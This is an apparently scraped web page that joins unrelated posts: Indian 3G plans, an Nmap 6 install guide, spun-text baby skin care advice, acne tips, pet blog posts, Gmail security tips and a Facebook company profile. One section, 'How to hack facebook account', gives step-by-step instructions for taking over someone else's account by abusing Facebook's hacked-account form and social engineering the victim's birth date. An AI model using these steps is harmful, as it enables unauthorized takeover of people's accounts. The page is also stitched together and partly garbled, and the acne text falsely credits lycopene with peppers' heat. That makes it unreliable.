Tata indicom photon 3G and Reliance Netconnect 3G, Airtel 3G and BSNL 3G are already available but which one is best to choose? Advertising campaign of various Internet service providers create confusion among customers to select a service. Hence the 3G internet was always most awaited in India because it just does not mean higher speed but also means revolution following which all around the world there would be more business transactions and more networking. 


Reliance Netconnect Plus

 Reliance Communications, India’s second-biggest mobile operator, launched its 3G services in India. The company said it would cover all its 13 zones by the end of March next year. RCom said that it was targeting a national footprint of 3G services through associations with other “like minded, quality 3G licensees” in the remaining nine telecoms zones during the course of next year. The company has launched 3G services in Delhi, Mumbai, Kolkatta and Chandigarh.

Here we bring you the latest 3G plans and pricing from Reliance.

Tata Docomo 3G

Tata DoCoMo became the first private telecom firm to launch 3G mobile services in the country. Tata Teleservices, which has Japanese firm DoCoMo as partner launched 3G mobile services in nine circles, of Kerala, Karnataka, Madhya Pradesh (including Chhattisgarh), Rajasthan, Gujarat, UP (West), Punjab, Haryana and Maharashtra in the auction held recently enabling subscribers to access high speed Internet and video telephony.
Tata Docomo in India has actually started off with an initial free internet offer limited to the first 7days. Following this the plans available start at Rs 750 per month for the 3.6Mbps Plan along with which you get upto Rs 1250 worth of voice calls. This looks a good option but for users who get this new SIM for the sake of high speed internet these free voice or video calls is useless. The main reason behind this is that normally the voice calls are already under Per Second Billing which means that you obviously are already getting calls for cheap hence there is no point paying high for the sake of huge free calls package.



BSNL is committed to taking India into the next league of telecom supremacy by providing technologically advanced 3G Mobile services provider Bharat Sanchar Nigam Ltd (BSNL) has crossed the landmark of 20 Lakh 3G Mobile and Data subscribers in India. It has been able to launch 3G network on Pan India basis except Delhi and Mumbai (MTNL service area).
BSNL has provided various advanced services like High Speed Wireless 3G Broadband, Video Calling, Mobile TV, Music, Video Download etc. At present BSNL had 3G coverage in 675 cities and will expand 3G services to 120 more cities across India by January 2011.
Creating a paradigm shift in the digital communications, BSNL recently launched affordable unlimited 3G Plan just at Rs. 700 in India. By making 3G services affordable with lowest Voice call and Video call charges as well as High Speed 3G Wireless Broadband Data HSDPA connectivity at 1 paisa for 10KB in India.
The cost of this BSNL Micro SIM Kit will be Rs. 100 (Rs. 30 for the Micro sim and Rs. 70 for the 3G FRC Starter Plan).The BSNL Micro SIM card and 3G tariff plans for Apple Devices will be available from BSNL CSC in 3G Services area only.

Airtel 3G

Airtel had launched its 3G mobile services successfully bid for 13 zones including key cities like Delhi, Mumbai, Bangalore, Chennai and Hyderabad on a test basis. These cities account for 21 per cent of data traffic in the country. They are also most likely to have early adopters who are eagerly waiting to get their hand(set)s on 3G. Incidentally, the 13 circles also account for 68% of the telco’s revenue market share.
Airtel‘s 3G services, will usher in a new era of unique life style products. The offerings will be specifically targeted towards mobile broadband, given the enhanced speed and user experience which the 3G technology enables. The partners will play a catalyst role in enhancing the customer experience and the data usage habits in the country. In addition to being HSPA+ (High Speed Packet Access) ready from launch, the 3G network will support world class user data speeds and enhanced mobile broadband user experience. High Speed Packet Access plus enables high peak user throughput which are multiple times higher than those supported in current 2G networks.

Installing and using Nmap 6 on BackTrack 5 R2 or windows It turns out, getting Nmap 6 to run on BackTrack 5 R2 is actually quite simple. Follow the steps below and prepare to bask in the newness of Nmap 6. First, you need to get rid of the included Nmap which is version 5.61. Simply run this command: apt-get -y autoremove nmap This command should only take a few seconds to complete. Next, grab the Nmap 6 source using this command: wget http://nmap.org/dist/nmap-6.00.tgz The source tarball is about 22 MB so it should (hopefully) download pretty quickly. After you have the source, you need to extract it. You can do that with this command: tar zxvf nmap-6.00.tgz Finally, these commands will compile and install Nmap 6. If you are unfamiliar with Linux, these are standard commands for installing software from source code. cd nmap-6.00 ./configure make make install Depending on your hardware, these commands make need a few minutes to complete. To check that Nmap is installed, run: nmap -V This command should report version information similar to this: Nmap version 6.00 ( http://nmap.org/ ) Platform: x86_64-unknown-linux-gnu Compiled with: nmap-liblua-5.1.3 nmap-libpcre-7.6 libpcap-1.0.0 nmap-libdnet-1.12 ipv6 Compiled without: openssl Now, Nmap 6 is installed. Check out the announcement here, http://nmap.org/6. You may also want to check out my previous post on Nmap NSE scripts,http://www.marshalgraham.com/2012/05/getting-started-with-nse-nmap-scripting.html. One thing to note regarding this installation method. During the first step, the BackTrack maintained Nmap package is removed. This means that apt-get will no longer be able to update Nmap. When a new Nmap version is released, you will need to repeat this procedure to upgrade to the current version. Happy Nmaping! Edit: If you want to restore the BackTrack maintained Nmap, you can. Go back to the nmap-6.00 directory and run make uninstall. Next run apt-get -y install nmap to reinstall the packaged version of Nmap. ————————————————————————————– For more backtrack tutorial like Lebanezo.com and to download nmap for windows click here

It turns out, getting Nmap 6 to run on BackTrack 5 R2 is actually quite simple. Follow the steps below and prepare to bask in the newness of Nmap 6.

First, you need to get rid of the included Nmap which is version 5.61. Simply run this command:
apt-get -y autoremove nmap

This command should only take a few seconds to complete. Next, grab the Nmap 6 source using this command:
wget http://nmap.org/dist/nmap-6.00.tgz

The source tarball is about 22 MB so it should (hopefully) download pretty quickly. After you have the source, you need to extract it. You can do that with this command:
tar zxvf nmap-6.00.tgz

Finally, these commands will compile and install Nmap 6. If you are unfamiliar with Linux, these are standard commands for installing software from source code.
cd nmap-6.00
make install

Depending on your hardware, these commands make need a few minutes to complete. To check that Nmap is installed, run:
nmap -V

This command should report version information similar to this:
Nmap version 6.00 ( http://nmap.org/ )
Platform: x86_64-unknown-linux-gnu
Compiled with: nmap-liblua-5.1.3 nmap-libpcre-7.6 libpcap-1.0.0 nmap-libdnet-1.12 ipv6
Compiled without: openssl

Now, Nmap 6 is installed. Check out the announcement here, http://nmap.org/6. You may also want to check out my previous post on Nmap NSE scripts,http://www.marshalgraham.com/2012/05/getting-started-with-nse-nmap-scripting.html.

One thing to note regarding this installation method. During the first step, the BackTrack maintained Nmap package is removed. This means that apt-get will no longer be able to update Nmap. When a new Nmap version is released, you will need to repeat this procedure to upgrade to the current version.

Happy Nmaping!

Edit: If you want to restore the BackTrack maintained Nmap, you can. Go back to the nmap-6.00 directory and run make uninstall. Next run apt-get -y install nmap to reinstall the packaged version of Nmap.

The Top Concerns of New Parents – How to Care for Baby Skin?

The couple’s first baby born, confirm from our maker, awesome blessing a lady must celebrate. First time to hold the infant in your arms. The first occasion when he opens his mouth, and the first of everything. Take excellent care to shield the new blessed messenger. Give them the best of everything, and this incorporates the healthy skin items you put on their skin. Since a child’s skin so touchy and delicate, constantly mindful to pick what to put on their skin. Chemicals influence the infant’s skin to break out, and you would prefer not to happen. 

The Top Concerns of New Parents - How to Care for Baby Skin? how to take care of newborn baby skin.. newborn skin care guidelines..

Children’s human services one of many concerns new mother needs to consider. Her new infant is a gift, and she does everything to protect her infant. As a youthful mother, her essential concern the item wellbeing of a child’s skin to utilize. The need is kid’s infant’s skin since this gives a wellspring of solid grown-up skin. 

When you go to stores you need the correct healthy skin for your youngster. Since numerous items found on the racks, you may get confounded. Attempt late pattern recommending, natural healthy skin items better for tyke’s skin. Infants require light creams and child moisturizer to keep their skin supple and delicate. There is repeating diaper rash. Since babies require assurance for wetness, diaper rashes some of the time unavoidable. Stock your bureau with rash cream your specialist suggests. Continuously ask your doctor, they know a greater amount of the most recent items. 

Beside Specialist Exhortation, you may Incorporate the accompanying records: 

1. Child Bodysuit. This one-piece, snap groin article garments stunning. They come in adorable hues and prints. They’re adaptable, on the off chance that you have to bring your youngster for a crisis errand. Simply put it underneath coats and bottoms, and you’re sufficient to go. 

2. Medical aid Unit. The essential infant’s safeguard from damage. Put fundamental meds, rectal thermometer, ointment, medical aid cards with directions. These guidelines must incorporate what to do if there should be an occurrence of crisis, and mischance telephone numbers. 

3. Diapers. Make certain to make stock. Your kid might be oversensitive to specific sorts of diapers. Do whatever it takes not to freeze when rash breaks out. Rather, switch another brand. 

4. Sling. This assistance when you carry the baby with you anyplace and all over the place. This commendable for child’s protected breastfeeding. 

5. Infant bed. Ensure it has side watches so the child is remained careful notwithstanding when he moves for the duration of the night. 

6. Auto seat and stroller. Many organizations offer auto seats. Need it to change over in a stroller in the wake of getting out the auto. Whatever your decisions, your child’s wellbeing is an absolute necessity once you bring them outside the house.

Are You Dreading an Acne Outbreak? – Skin Care Tips For Acne

Skin Care Tips For Acne: Are You Dreading an Acne Outbreak?

Acne can be extremely painful, physically as well as psychologically, as it eats away at your self-esteem. If you have experienced a painful outbreak in the past or feel that something might trigger off a breakout soon, consider whether you have been:

Skin Care Tips For Acne: Are You Dreading an Acne Outbreak?

– Eating a lot of spicy food

Chili peppers and bell peppers are a staple ingredient in spicy food. What gives peppers their unique flavor and kick is a compound named lycopene. Lycopene can cause skin irritation and breakouts in some people. If your skin is prone to acne, perhaps too much spicy food might be the cause.

– Taking too much stress

While some stress is unavoidable, experiencing excessive stress on a regular basis can result in an outbreak. Scientific evidence to explain the relationship between the two is scarce. However, there is a theory that the production of cortisol, the hormone that stimulates sebum production in the skin, is in greater quantities during stress.

– Exposed to chemicals

Chemicals are present in most things we encounter. They are in the makeup and personal care products you apply, the detergents and cleaners you wash your clothes and home with, even in the food you eat. The cause of your acne outbreak might be the skin irritation induced by these chemicals.

– Irritating your skin

Perhaps you have been punishing your skin too much. This includes poking your pimples, scratching your face too often, and letting your hair fall on your face too often. You can also irritate your skin when you scrub too hard when using a facial scrub or drying your face with a towel.

There is little reason to dread a breakout once you are aware of what triggers off an outbreak. Follow these steps to reduce the possibility of an outbreak:

– Avoid chemicals

If your acne problem is due to harsh chemicals, try to minimize their use. Substitute natural beauty products for those with chemical ingredients. The same goes for makeup, deodorants, household cleaners, and so on. There are many options available nowadays to help you phase out harsh chemicals from your life.

– Keep acne-prone skin clear and protected

Keep your skin clean as far as possible by washing it with water several times a day. Remove any makeup before going to sleep. During the day, wear shades or a hat when stepping out to protect the skin against harsh pollutants and radiation.

– Exercise

Exercise regularly to flush out the excess oil and impurities from your skin. This is best early in the morning when the air is relatively clean. Exercise boosts blood circulation and can help to unblock clogged pores and hair follicles. Remember to shower after every workout session to prevent sweat and dirt from building up.

– Eat healthy food, quit smoking

Improving your diet is the most important change you can make to reduce acne outbreaks. Reduce spicy food to the minimum to avoid irritating your skin. Also, kick the smoking habit to allow your skin to breathe more freely and to eliminate toxic chemicals from your body.

Beautiful and healthy skin is more than a one-time solution. It requires a great deal of attention to the skin on a regular basis. A combination of natural remedies, high-quality products, and makeup techniques come together to achieve that perfect skin.

Companion Animal Psychology Book Club October 2017

“What if the secret to great dog training is to be an expert ‘feeder’ rather than a strong leader?” The book for October is Plenty in Life is Free by Kathy Sdao.

Pomeranian reading outdoors in Autumn because the book club choice is Plenty in Life is Free

The  Companion Animal Psychology Book Club choice for October 2017 is Plenty in Life Is Free: Reflections on Dogs, Training and Finding Grace by Kathy Sdao.

From the back cover,

“What if the secret to great dog training is to be an expert ‘feeder’ rather than a strong leader? A skilled reinforcer rather than a strict enforcer? 

“Over the past two decades, countless dog trainers across the world have embraced the liberal use of positive reinforcement. Often accompanying this trend, however, is an underlying emphasis, inherited from more coercive models of dog training, that each human in the family must be the dog’s leader. Adopting the role of leader through the use of “Nothing in Life is Free” training protocols, however, can result in stifling rules that constrain people’s ability to share affection with their dogs, Strict reward-rationing regimens also tend to put the burden on dogs to “earn” all their privileges instead of placing the primary responsibility on the humans to be generous, precise, creative “feeders” (i.e., reinforcers).”

Why not join us in reading the book? Leave your thoughts in the comments below!

You can also follow Kathy Sdao on twitter.

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.

Happy Canada Day!

A photo-essay of dogs and cats to celebrate Canada’s 150 years. Happy Birthday, Canada!

Two dogs play in beautiful Lake Louise in Alberta, Canada
Two dogs playing at Lake Louise. Photo: Ravensfoot (Shutterstock).
A beautiful white dog and red maple leaves
Beautiful dog and red maple leaves in BC. Photo: Bad Monkey Photography.
A border collie in front of an expansive Alberta skyline.
A border collie and expansive skies in Alberta. Photo: Hai Diec (Shutterstock).
A cat enjoys the sunshine through the window & views of Vancouver
A cat enjoys the sunshine and views of Vancouver. Photo: Marianne Catafesta (Shutterstock)
A dog looks out at the sea and a lighthouse in Nova Scotia
A dog looks out at the sea and a lighthouse in Nova Scotia. Photo: Greg and Jan Ritchie (Shutterstock)
A Wire Fox Terrier on the Confederation Trail, Prince Edward Island
A Wire Fox Terrier on the Trans Canada Trail, PEI. Photo: VJ Matthew (Shutterstock)
A woman and her dogs in David Balfour park, Toronto, Canada
A woman and her dogs in David Balfour park, Toronto. Photo: Danilo Silveira (Shutterstock).
A fluffy cat sits on a table outside near a Canadian flag
A fluffy cat sits on a picnic table near a Canadian flag. Photo: Panksvatouny (Shutterstock).

How to hack facebook account

How to hack any facebook account easily by Reverting/Reseting pass of your victim NO keyloging pishing required

Here is one more interesting tip on how to hack a Facebook account by the method of reverting the password.This method does not involve any skill or anything just a brain would be enough to get you through this trick ! Well,you might think that it is impossible but it is actually true that you can hack any facebook account ! So before we start i would like to tell you what “Reverting” actually means…

What is Reverting ?

Reverting is the process of resetting a password without the knowledge of the actual user ! So this is basically a low level of hacking but it does the job for you !
For more on reverting go here : What exactly is reverting ?
How do I hack my friend’s Facebook ?
Make sure your not logged in to your account.If you are then make sure you sign out and then follow the following methods

1.Go to this link:
http://www.facebook.com/help/contact.php?show_form=hack_login_changed http://www.facebook.com/help/contact.php?show_form=hacked_cannot_identify

That is the form that you will be using in order to hack your user.

2.Then in “Your E-mail Address” type your E-mail address.

3.Then apply the following options as in the image below.

4.Once you have done that,You will have a question asking “Email associated with the compromised account.” – In that just type “No” and nothing else other than that !

5.In “Your contact email address.” – Type your own email for you to receive the Password Reset Link.

6.In the “Full Name of the Account.” – Type the Name of your victim if you know.If you don’t then:

a.Try finding the Name of the victim by just searching his/her e-mail on Facebook.

b.If that doesn’t work then google the E-mail address of your Victim,that might give you some details.

c.If that also doesn’t work then use the following sites to get them
So if you follow one of the above methods you should be getting the Full Name of your victim.Now lets move on to the next step

7.”Date Of Birth” – In this column you have to enter the Birthday of your Victim.If you know him personally then you should be knowing it.If not you can just social engineer him and somehow make him tell it.Once you get it you have to enter it in that.

8.”URL (web address) of your compromised profile.” – This is just the profile URL of your Victim which can be got easily(Usually of the form: http://www.facebook.com/profile.php?id=we45r)

9.Now your all set ! Before you submit the form just make sure you recheck the whole form if you have done the right thing.Once you do so just click on “Submit”

10.Thats it ! You have done it ! Now you just have to wait for Facebook team to look up for your request ! Once they approve it they will send a link to reset your victim’s Password !

Summer Reading: Sound Advice

A summer reading list for dog and cat people.

Sound advice to read while relaxing, like this Cocker Spaniel on a swing

This year’s theme is sound advice on dogs and cats. In a world where good information is hard to come by and persistent myths about animals continue to lead people astray, sound advice is well worth sharing. And sharing again.

Read on for some of my favourite posts that help us to understand – and train – dogs and cats better.

“Some dogs do not appreciate being rudely awoken” Let sleeping dogs… lie? By Kristi Benson CTC

Does your cat run and hide under the bed at the first sign of the cat carrier? This post, complete with videos, has everything you need to know: How to train your cat to like the cat carrier by Sarah Ellis at Katzenworld Blog

Dogs and wildlife – tips for going off-leash from Allison Wells of I Love Your Dog  Don’t miss Shadow’s happy “recall face”!

Have you ever thought of training your cat? Cats would like you to know they are open to training by DogSpies by Julie Hecht.

“He didn’t understand her.” Why did that dog growl? Tracy Krulik on an incident at the vet.

“When your own dog growls at you it can feel awful. But try not to take it personally, it is the only way he has of telling you that something is making him uncomfortable or nervous.” Understanding dog aggression towards family by Sarah Pennington at Yaletown Dog Training.

What’s stress got to do with it? Cats and urination outside the litterbox by Mikel Delgado PhD at Cats and Squirrels.

“The biggest responsibility of raising a puppy is not to teach them “manners”, it is to ensure they have a bright future. And that future lies in your hands.” The almost unbearable burden of raising a puppy by Sylvie Martin of Crosspaws.

Choosing the right toys for your cat. 12 tips from Pam Johnson-Bennett.

“Many such cats spend a great deal of their time under the bed or on top of the wardrobe, hiding from the world.” How to behave around anxious cats, from International Cat Care.

“The good news is that a little preparation and know how can help reduce the likelihood you’ll encounter problems with your pet once your baby comes home.” Bringing home baby: Preparing pets for parenthood by Kate Mornement PhD at Pets Behaving Badly Solutions with Dr Kate.

Spotting the signs. Separation Anxiety: two truths and a lie by Casey McGee.

“No reputable trainer who has stayed current on valid developments in the field is still talking about “pack leadership” or “energy”; and they certainly aren’t employing prong, choke, and shock collars.  If you’re a dog owner looking for a professional trainer, the likelihood you end up with one of these folks is still sadly very high.” More than fancy words by Lisa Skavienski for Your Pit Bull and You.

It’s more than just a box. A pictorial display of all the uses cats have for cardboard boxes by Ingrid Johnson of Fundamentally Feline.

And if you need help finding a dog trainer, I have a post for that: How to choose a dog trainer.

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Puppy Socialization Practices – And How They Are Lacking

Almost a third of puppies are missing out on important socialization during the sensitive period.

Two puppies having fun at the beach - but almost a third of puppies miss out on important socialization during the sensitive period

A survey of puppy owners by Dr. Janet Cutler et al (University of Guelph) finds that a sizeable number of puppies are not receiving enough socialization.

Puppies have a sensitive period for socialization from 3 weeks until about 12-14 weeks. During this time, they should have lots of positive socialization experiences with other people and dogs and habituate to the kinds of environmental stimuli they will encounter as adult dogs. Without these positive experiences, they are less likely to be friendly, confident dogs.

The scientists recruited people with a puppy less than 20 weeks old. Then, when the puppy turned exactly 20 weeks, they sent an email with a link to the survey.

Almost a third of puppies were not receiving many socialization experiences, which in this study was defined as up to 10 people and 5 dogs or less per 2 week period. Lack of socialization can lead to behaviour problems such as fear and aggression, which in turn can lead to dogs being re-homed or euthanized.

The results show that half of puppy owners (49%) took their puppy to puppy class. There were differences between the people who had been to puppy class and those who hadn’t. If people had been to puppy class:

  • They exposed the puppy to more people between the ages of 10 and 20 weeks of age
  • They exposed the puppy to more dogs outside the home between the ages of 14 and 20 weeks
  • They were more likely to expose the puppy to more stimuli, including large trucks, sirens, children, people coming to the door (but there was no difference for walking on leash or going to the dog park)
  • They were more likely to reward good behaviour (93% compared to 86% of those who did not attend), use redirection, and ignore bad behaviour
  • They were less likely to use verbal corrections (82% compared to 96%)
  • They were less likely to use positive punishment, including holding the puppy on its back (21% compared to 96%) 

Of course these figures do not show causality, as although people will hopefully have learned from attending the class, at the same time certain kinds of people might be more likely to attend puppy class in the first place. The increase in exposure to stimuli could in part be due to the puppy class, as by definition there were other people and puppies there (although not enough to meet socialization needs). People were more likely to attend puppy class if they had done more research on puppies, had a higher household income, lived in a suburban rather than rural area, and did not have children.

Only 70% of the puppy classes included opportunities for puppies to play together. This is a shame because puppies learn important skills through play. The least common activities were gradual exposure to noises, trading one item for another, and teaching the puppy to go to a mat (as well as a category called ‘other’), of which happened in less than half of the classes. Other research shows that up to half of adult dogs are afraid of loud noises, and gradual exposure during the sensitive period can help to prevent these fears.

Sit, down, and coming when called were the most popular commands, being taught in over 80% of classes. Body handling was taught in just over half of the classes. It would be better if more classes taught this, as body handling exercises at this age can help puppies learn to accept veterinary examinations without being afraid.

Owners who used punishment were more likely to say their puppy was fearful. 4% of owners said they would force the puppy to face its fears, something which risks making the fear even worse. Puppies who had attended class were less likely to be afraid of noises such as the vacuum cleaner.

There were 296 participants. It was a convenience sample so they are not representative of the general population (if anything, they are likely to be more educated about dogs, given they were recruited via a mix of email and online sites including some related to professional organizations and humane societies).

The authors say it would be nice to have research on how much socialization is needed, in order to give dog owners clearer advice. A recent study with Guide Dog puppies suggests more socialization is better.

But the most important finding from this study, in my view, is that a sizeable minority of puppies are not getting enough socialization. The authors refer to the American Veterinary Society for Animal Behaviour position statement on puppy socialization, which says that socialization should begin before the final vaccines are given. Only 51-65% of vets discuss behaviour with new puppy and kitten owners, but this would be a good time to educate people about socialization and training.

The scientists write,

“Owners who attended classes with their puppies provided those puppies with more socialization opportunities than owners who did not attend and also indicated more favorable responses to managing signs of fear in their puppies and to disciplining them. This highlights the need for veterinarians and other animal care professionals to educate puppy owners about the importance of early puppy socialization, socialization classes, and positive reinforcement–based training and assist puppy owners in accessing reliable resources for this information.”

These results show that, although many people are getting a lot of things right, there is still room for improvement when it comes to socialization and training of puppies.

If you are looking for a puppy class, make sure that you find a good dog trainer who will only use reward-based training methods. (See here for more information on the risks of using punishment).

Did you take your puppy to puppy class?

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Cutler, J. H., Coe, J. B., & Niel, L. (2017). Puppy socialization practices of a sample of dog owners from across Canada and the United States. Journal of the American Veterinary Medical Association, 251(12), 1415-1423. https://doi.org/10.2460/javma.251.12.1415

Companion Animal Psychology is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com and affiliated sites.
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20 Advanced Tips and Tricks to Higher Gmail Security

Gmail is the main base or the main workstation for any newbie or oldies. This is used by billions of people all over the world for the best email service and to protect it is the main reason for anyone to have a look at this post. Below I just grabbed 20 steps to higher Gmail Security, you might wanna check because Hackers next target can be you can to protect yourself is the main aim of your life. So all the steps below are officially by Gmail for protecting your account. This steps will give you the unbelievable security hence boost your Gmail Experience.

  1. Check for Viruses and malwares : Well you would be having some good virus scanner but you cannot catch 100% infections with any scanner so to experiment and scan with different and online scanner is a good choice.
  2. Operating system should be Up to Date : Updating to official updates may increase your windows security and remove all the holes in it as they release patches to fix vulnerabilities. So its really important to update your system to have more security.
  3. Regular Software Updates : as you update windows you think that software’s had been updated to but some software’s are not updated but they need serious updates to be performed in order to maintain consistency in your system, software’s like Adobe Flash, Java etc. need to be updated manually or sometimes they automatically update depends on settings.
  4. Brower should be Up to Date : make sure your browser is Up to Date as some security patches are also released for browsers, so make sure to update your browser or set their settings to automatic update.
  5. Check Browser Extensions and Plugins : many times there are few plugins or extensions like Gmail manager or something like that which helps you in making some tasks easier so Gmail does not take responsibility for any services like that, so if their service is compromises so is your Gmail Password.
  6. Changing Password : if you account was recently hacked and you recovered it somehow the better option is to change your password to some mixed number and alphabets its really important and Gmail recommends changing your Gmail password after 6 months or so to maintain privacy and security.
  7. Updating Account Recovery Options : whenever you forget your password you may need to recover it so this will help you in recovering.
    • Recovery Email Address : this send an email when you request a reset for the password on the address you have filled for the recovery.
    • SMS Notification : the another way for the recovery is by SMS you will get SMS containing your code.
    • Secret Question : this option will be enabled if you fail with the above options it will ask you the question what you will enter before your password was lost and you will be able to retrieve your password if you answer right.
  8. Turn on 2 step verification : this is an extra layer for security it will send code on your mobile, so that you can sign into your account. This can be enabled in the Google Account Settings.
  9. Check list of authorized websites : check the list for the trusted ones because it could happen that they may have stolen our account data to get your username and passwords.

    To edit the list of authorized websites :

    1. Sign in on the Google Accounts homepage.
    2. Click the My Account link displayed at the top right of the page.
    3. Click Authorizing applications & sites.This page will list all third-party sites you’ve granted access to.
    4. Click the Revoke Access link to disable access for a site.
  10. Use HTTPS Secure Connection : always use HTTPS this helps you from the stealers from stealing your information whenever you access Gmail from Cyber – Café or Hotel or other places.gmail-https-connection
  11. Check strange recent activity : this can be really useful as Gmail tracks all the iP address on which Gmail was accessed or we say your account was accessed so if you think there was a suspicious activity then you can check that by clicking the Details link @ the bottom like below and click Sign out all the sessions and simply change your password.gmail-details-tab
  12. Accuracy of Mail Settings : check that all the settings in your Gmail are good accurate like there is no vacation responder on which is automatically replying to all your mails or filters are correctly configured or they will be sending some mails to trash bin etc., so check the settings and correct for the errors.
  13. Checking contacts errors : just go to the contacts tab and check all the contacts if you think that there is a problem in some of your contacts just restore them to an earlier time and you will get all the contacts back.
  14. Username & Password Recovery Emails : sometimes you may have noticed that you get some emails asking you to enter your username and password so that your email address can be recovered that are all fake and should not be trusted so remember that Gmail will send you that kind of mail so beware of those emails.
  15. Beware of Phishing : phishing is a kind of activity in which a fake page is created for the website in order to hack username and password of the victim. So don’t ever enter your username and password after following a link just go directly to Gmail.com in order to access your account.
  16. Sharing Password : don’t try to share your password with third party services as Google does not guarantee for any kind of misbehave if done, so better to use different password for Gmail and different for all other services.
  17. Friends can make prank : I said don’t share your passwords with friends, but the most important thing is that don’t share your passwords, secret questions with your friends as they can play a huge prank on you.
  18. Clear Junk Files : clearing cache, cookies, forms data and passwords is the best way to protect your account fro the strangers hand the best way is to a free cleaner I recommend downloading CCleaner and cleaning all the offline and junk files.
  19. Don’t user Stay Signed In : you all know that stay signed in means that until there is a cleaning process done on your computer your account will be accessible if anyone opens Gmail so its always recommended that not to choose Stay Signed In.
  20. Signing out is the bets option : always sign out whenever you have completed viewing your emails, this is really important don’t think that you are @ home and o probes if you do not sign out its really important and must be done.

So that’s it I hope my tips are good for all the newbies and professionals these are officially by Google on their Security page I just made them simpler to be read and to be accessed so have Fun and please share this article so that all others can be safe and have a happy tech life.




Facebook, the world’s largest social network, announced in July 2010 that it had 500 million users around the world. The company has grown at a meteoric pace, doubling in size since 2009 and pushing international competitors aside. Its policies, more than those of any other company, are helping to define standards for privacy in the Internet age.

The company, founded in 2004 by a Harvard sophomore, Mark Zuckerberg, began life catering first to Harvard students and then to all high school and college students. It has since evolved into a broadly popular online destination used by both teenagers and adults of all ages. In country after country, Facebook is cementing itself as the leader and often displacing other social networks, much as it outflanked MySpace in the United States.

But it has also come to be seen as one of the new titans of the Internet, challenging even Google with a vision of a web tied together through personal relationships and recommendations, rather than by search algorithms. In a major expansion, Facebook has spread itself across other websites by offering members the chance to “Like” something — share it with their network — without leaving the web page they’re on.

In November 2010, Mr. Zuckerberg introduced Facebook Messages, a new unified messaging system that allows people to communicate with one another on the Web and on mobile phones regardless of whether they are using e-mail, text messages or online chat services.

In January, 2011, Facebook raised $500 million from Goldman Sachs and a Russian investor in a deal that values the company at $50 billion — more than companies like eBay, Yahoo and Time Warner. The stake by Goldman Sachs, considered one of Wall Street’s savviest investors, signals the increasing might of Facebook, which has already been bearing down on giants like Google.

Mr. Zuckerberg had sought to keep close control over the company, spurning a $1 billion offer from Yahoo in 2006 and playing down the idea of a stock offering. But in the wake of the Goldman investment, Facebook said that it will begin reporting its financial results by April 2012, setting the stage for a likely IPO.

The company, based in Palo Alto, Calif., earned $355 million on $1.2 billion in revenue during the first nine months of 2010, according to a document prepared by Goldman for potential investors. That is up from $220 million in earnings on $770 million in sales in 2009.

Like other social networks, Facebook allows its users to create a profile page and forge online links with friends and acquaintances. It has distinguished itself from rivals, partly by imposing a spartan design ethos and limiting how users can change the appearance of their profile pages. That has cut down on visual clutter and threats like spam, which plague rivals. It has decisively outstripped other networks that preceded it, like MySpace and Friendster, becoming what many analysts see as the “default platform” of a new age of information organized around personal relationships.
Read More…
Facebook built its lead not only through savvy design but rapid deployment of features that allowed the content created by users to multiply the site’s appeal. In May 2007, Facebook unveiled an initiative called Facebook Platform, inviting third-party software makers to create programs for the service and to make money on advertising alongside them. The announcement stimulated the creation of hundreds of new features or “social applications” on Facebook, from games to new music and photo sharing tools, which had the effect of further turbo-charging activity on the site.

Facebook Messages is a bold move by Facebook to expand from a social network into a full-fledged communications system. It could help the company chip away even more at Internet portals like Google, Yahoo, MSN and AOL, which have used e-mail as one of their main draws with consumers.

In addition to channeling all e-mails, text messages and chats through a single point, Facebook Messages will offer users what Mr. Zuckerberg called a “social in-box” that will prioritize messages from friends and close acquaintances, potentially saving time. The company faces a number of challenges, however, like managing spam, getting users to change ingrained habits and persuading some to entrust their confidential e-mail to a company whose privacy practices have often drawn scrutiny.

Disputed Origins

Facebook’s rise has been marked by strings of controversies. Three other Harvard students maintain that they came up with the original idea and that Mr. Zuckerberg, whom they had hired to write code for the site, stole the idea to create Facebook. Facebook has denied the allegations. A long-running lawsuit is pending. Another Harvard classmate, Aaron Greenspan, claims that he created the underlying architecture for both companies, but has declined to enter the legal battle.

A movie about Facebook’s tumultuous origins, “The Social Network,” offers up what A.O. Scott called “a creation story for the digital age and something of a morality tale, one driven by desire, marked by triumph, tainted by betrayal and inspired by the new gospel: the geek shall inherit the earth.”

Facebook has strenuously, and Mr. Zuckerberg more quietly, asserted that the portrayal of the company’s founding is fiction. And Mr. Zuckerberg disputed the characterization of him in the film, though in a New Yorker magazine profile, he acknowledged having indulged in a bit of sophomoric arrogance.

Privacy Concerns

The back and forth between Facebook and its users over privacy is gaining importance as the company’s growth continues unabated. Facebook’s policies, more than those of any other company, are helping to define standards for privacy in the Internet age.

Bowing to pressure over privacy concerns, the company in May 2010 unveiled a set of controls that he said would help people understand what they were sharing online, and with whom.

Facebook’s biggest mistake, Mr. Zuckerman said, had been in failing to notice that as Facebook added new features and its privacy controls grew increasingly complicated, those controls became effectively unusable for many people.

In October 2010, Facebook acknowledged that some applications on its site, including the popular game FarmVille, had improperly shared identifying information about users, and in some cases their friends, with advertisers and Web tracking companies. The company said it was talking to application developers about how they handled personal information, and was looking at ways to prevent this from happening again.

The Goldman Deal

In January 2011, Facebook raised $500 million from Goldman Sachs and a Russian investor in a transaction that values the company at $50 billion.As part of its deal with Facebook, Goldman is expected to raise as much as $1.5 billion from investors for Facebook.

The new money will give Facebook more firepower to steal away valuable employees, develop new products and possibly pursue acquisitions — all without being a publicly traded company. The investment may also allow earlier shareholders, including Facebook employees, to cash out at least some of their stakes.

The new investment came as the Securities and Exchange Commission has begun an inquiry into the increasingly hot private market for shares in Internet companies, including Facebook, Twitter, the gaming site Zynga and LinkedIn, an online professional networking site. Some experts suggest the inquiry is focused on whether certain companies are improperly using the private market to get around public disclosure requirements.

Before Goldman Sachs bought a stake in Facebook and started offering shares to wealthy clients, a powerful investment group within the firm turned down the chance to buy a piece of the social networking site.
The unit’s chief, Richard A. Friedman, a longtime Goldman partner, decided the Facebook deal was not suitable for his clients, in part owing to the high valuation and to a mismatch with his investment criteria. The $450 million investment values the Web company at $50 billion. After Goldman’s deal, some industry experts cautioned that Facebook’s growth would need to accelerate rapidly over the next couple of years to justify such a steep price — a risk with many brand-name technology upstarts.

Source Link: http://topics.nytimes.com/top/news/business/companies/facebook_inc/index.html

Top 5 Social Engineering Exploit Techniques

